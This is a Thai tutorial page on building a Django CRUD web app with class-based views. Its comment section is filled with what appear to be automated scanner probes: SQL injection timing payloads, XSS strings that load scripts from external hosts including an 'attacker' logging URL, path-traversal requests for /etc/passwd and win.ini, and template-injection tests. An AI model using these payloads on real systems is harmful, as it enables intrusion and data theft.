CMSPY ทดสอบ Data Science Django Web Framework Python Discrete Mathematics Machine Learning
AnonymousUser | Login | Register
Access From: 13.58.188.166

Django Web Framework

สร้าง Web Application ด้วย Python&Django Class Based Views

By admin | Oct. 15, 2019, 7:58 a.m. | comments 159

Django ได้เตรียม Class Based Views (CBV) เพื่ออำนวยความสะดวกในการเขียน Web Application ได้อย่างรวดเร็ว โดยในที่นี้ใช้ระบบเดิมใน พัฒนา Web Application ดัวย Python และ Django โดยจะแสดงการใช้งาน ทีละขั้นตอน ดังนี้

เตรียมระบบ

  1. สร้าง directory ใหม่ ชื่อ webapp

  2. สร้าง virtual environment ชื่อ env

  3. activate virtual environment

  4. install Django

  5. สร้าง project ใหม่ ชื่อ cb_project

  6. สร้าง application ชื่อ cb_app

    ตรวจสอบโครงสร้าง directory

  7. สร้างฐานข้อมูล

  8. run server

  9. ทดสอบการเข้าใช้งาน cb_project (http://127.0.0.1:8000)

  10. สร้าง models ของข้อมูลชื่อ Topic ใน (../cb_app/models.py)

  11. ติดตั้ง cb_app ใน settings.py (../cb_project/settings.py)

  12. สร้างตาราง Topic (มาที่ windows command)

    ยุติการทำงานของ Server (Ctrl-C)

    makemigrations

    migrate

    เมื่อดำเนินการเสร็จแล้ว Run Server ใหม่

  13. สร้างโฮมเพจ

    • กำหนด urls ของ cb_project (../cb_project/urls.py)

    • สร้าง urls ของ cb_app (../cb_app/urls.py)

    Save ในชื่อ urls.py

    • เขียน views ของ cb_app (../cb_app/views.py)

    • เขียน template ของโฮมเพจ (../cb_app/templates/home.html) (สร้าง folder ใหม่ใน cb_app ชื่อ templates)

    Save ในชื่อ home.html

  14. ทดสอบการเข้าใช้งาน cb_app

  15. สร้าง template แม่แบบ (../cb_app/templates/ฺBASE.html)

    Save ในชื่อ BASE.html

  16. ปรับปรุงโฮมเพจ (../cb_app/templates/home.html)

    ทดสอบ

จัดการข้อมูล

  1. สร้างข้อมูล Topic (Create)

    • เขียนโปรแกรม (../cb_app/views.py)

    • เขียน template (../cb_app/templates/topic_create.html)

    • กำหนด path สำหรับการสร้างข้อมูล (../cb_app/urls.py)

    • สร้าง link ไปยัง path ที่กำหนด (../cb_app/templates/ฺBASE.html)

    • ทดสอบการทำงาน

  2. แสดงข้อมูล Topic (Retrive หรือ List)

    • เขียนโปรแกรม (../cb_app/views.py)

    • เขียน template (../cb_app/templates/topic_display.html)

    • กำหนด path สำหรับการแสดงข้อมูล (../cb_app/urls.py)

    • สร้าง link ไปยัง path ที่กำหนด (../cb_app/templates/ฺBASE.html)

    • ทดสอบการทำงาน

  3. ปรับปรุงข้อมูล Topic (Update)

    • เขียนโปรแกรม (../cb_app/views.py)

    • template ใช้งานร่วมกับ topic_create.html (ไม่ต้องเขียนใหม่)

    • กำหนด path สำหรับการปรับปรุงข้อมูล (../cb_app/urls.py)

    • สร้าง link ไปยัง path ที่กำหนด (../cb_app/templates/ฺtopic_dispplay.html)

    • ทดสอบการทำงาน

  4. ลบข้อมูล Topic (Delete)

    • เขียนโปรแกรม (../cb_app/views.py)

    • สร้าง template สำหรับการลบข้อมูล ((../cb_app/templates/ฺtopic_delete.html) )

    • กำหนด path สำหรับการลบข้อมูล (../cb_app/urls.py)

    • สร้าง link ไปยัง path ที่กำหนด (../cb_app/templates/ฺtopic_dispplay.html)

    • ทดสอบการทำงาน


ถาม-ตอบ

aYlNlfdX Oct. 14, 2023, 2:11 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:11 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:15 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:15 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:16 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:16 a.m.

-1

aYlNlfdX Oct. 14, 2023, 2:16 a.m.

-1)

aYlNlfdX Oct. 14, 2023, 2:17 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:17 a.m.

-5 OR 658=(SELECT 658 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:17 a.m.

-5) OR 689=(SELECT 689 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:18 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:18 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:18 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:18 a.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:18 a.m.

@@hwnEl

aYlNlfdX Oct. 14, 2023, 2:19 a.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:19 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:19 a.m.

@@BI4uw

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-1 OR 2+547-547-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-1 OR 2+54-54-1=0+0+0+1

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-1' OR 2+59-59-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-1' OR 2+935-935-1=0+0+0+1 or 'Bltt4uaA'='

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-1" OR 2+129-129-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

if(now()=sysdate(),sleep(15),0)

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

-1; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-1); waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

3pdGScTL'; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-5 OR 252=(SELECT 252 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

-5) OR 154=(SELECT 154 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

-1)) OR 868=(SELECT 868 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

oQsJRUoK' OR 742=(SELECT 742 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

AFiWiNX3') OR 989=(SELECT 989 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

8Mr0VdxQ')) OR 783=(SELECT 783 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

@@XI8kF

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1 OR 2+544-544-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1 OR 2+670-670-1=0+0+0+1

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1' OR 2+581-581-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1' OR 2+565-565-1=0+0+0+1 or 'iI4NdRIc'='

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1" OR 2+923-923-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

5PtDg2Gy'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

-5 OR 671=(SELECT 671 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

-5) OR 833=(SELECT 833 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

-1)) OR 191=(SELECT 191 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

Razse6Rg' OR 334=(SELECT 334 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

aZQQYVpW') OR 411=(SELECT 411 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

xjmi5Oxl')) OR 635=(SELECT 635 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 2:52 p.m.

@@Mj3RI

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1 OR 2+837-837-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1 OR 2+499-499-1=0+0+0+1

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1' OR 2+608-608-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1' OR 2+508-508-1=0+0+0+1 or 'IDfsp1ZB'='

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1" OR 2+823-823-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

Http://bxss.me/t/fit.txt

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

http://bxss.me/t/fit.txt%3F.jpg

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

/etc/shells

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

c:/windows/win.ini

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

bxss.me

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

)

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

!(()&&!|*|*|

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

^(#$!@#$)(()))******

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1'"()&%<zzz><ScRiPt >37vC(9876)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

'"()&%<zzz><ScRiPt >37vC(9331)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

../../../../../../../../../../../../../../etc/passwd

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

../../../../../../../../../../../../../../windows/win.ini

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

file:///etc/passwd

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

../1

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

19763134

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

bfg8990%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8990

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

bfgx4290%C0%BEz1%C0%BCz2a%90bcxhjl4290

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

<%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

<th:t="${dfb}#foreach

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

dfb{{98991*97996}}xca

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

dfb[[${98991*97996}]]xca

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

dfb__${98991*97996}__::.x

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<ScRiPt >37vC(9521)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<W4AFKV>JZELR[!+!]</W4AFKV>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<script>37vC(9923)</script>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%33%37%76%43%28%39%35%34%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<ScRiPt >37vC(9114)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9425></ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<isindex type=image src=1 onerror=37vC(9419)>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9613'>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<body onload=37vC(9331)>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<img src=//xss.bxss.me/t/dot.gif onload=37vC(9099)>

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1<img src=xyz OnErRor=37vC(9365)>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<img/src=">" onerror=alert(9528)>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

%31%3C%53%63%52%69%50%74%20%3E%33%37%76%43%289080%29%3C%2F%73%43%72%69%70%54%3E

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1\u003CScRiPt\37vC(9302)\u003C/sCripT\u003E

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1&lt;ScRiPt&gt;37vC(9269)&lt;/sCripT&gt;

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

�<img zzz onmouseover=37vC(91321) //�>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<input autofocus onfocus=37vC(9963)>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

<a HrEF=http://xss.bxss.me></a>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

<a HrEF=jaVaScRiPT:>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1}body{zzz:Expre/**/SSion(37vC(9181))}

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1gnP2N <ScRiPt >37vC(9792)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<WGLLSI>BMXAJ[!+!]</WGLLSI>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<ifRAme sRc=9382.com></IfRamE>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<alCb5zD x=9350>

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<img sRc='http://attacker-9893/log.php?

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1<a4AjO5B<

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

oSdWre4U'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

-5 OR 194=(SELECT 194 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

-5) OR 624=(SELECT 624 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

-1)) OR 372=(SELECT 372 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

BNaYOdXT' OR 891=(SELECT 891 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

UTPr9DTE') OR 408=(SELECT 408 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

dB3g4x2m')) OR 884=(SELECT 884 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

@@09bmN

nEcdyGgx Nov. 3, 2024, 10:43 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:43 a.m.

1

nEcdyGgx Nov. 3, 2024, 11:41 a.m.

1

nEcdyGgx Nov. 3, 2024, 11:41 a.m.

1

nEcdyGgx Nov. 3, 2024, 5:58 p.m.

1

nEcdyGgx Nov. 3, 2024, 7:11 p.m.

1

nEcdyGgx Nov. 3, 2024, 7:11 p.m.

1

nEcdyGgx Nov. 3, 2024, 8:44 p.m.

1

Login Required!

Reset Password
AnonymousUser